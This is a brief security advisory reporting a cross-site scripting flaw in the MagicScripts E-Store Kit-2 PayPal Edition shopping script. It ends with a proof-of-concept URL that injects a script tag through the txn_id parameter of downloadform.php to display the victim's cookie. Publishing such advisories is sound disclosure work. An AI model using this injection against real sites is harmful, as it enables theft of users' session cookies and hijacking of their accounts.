source: https://www.securityfocus.com/bid/12909/info

MagicScripts E-Store Kit-2 PayPal Edition is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/demo/ms-pe02/downloadform.php?txn_id="><script>alert(document.cookie)</script>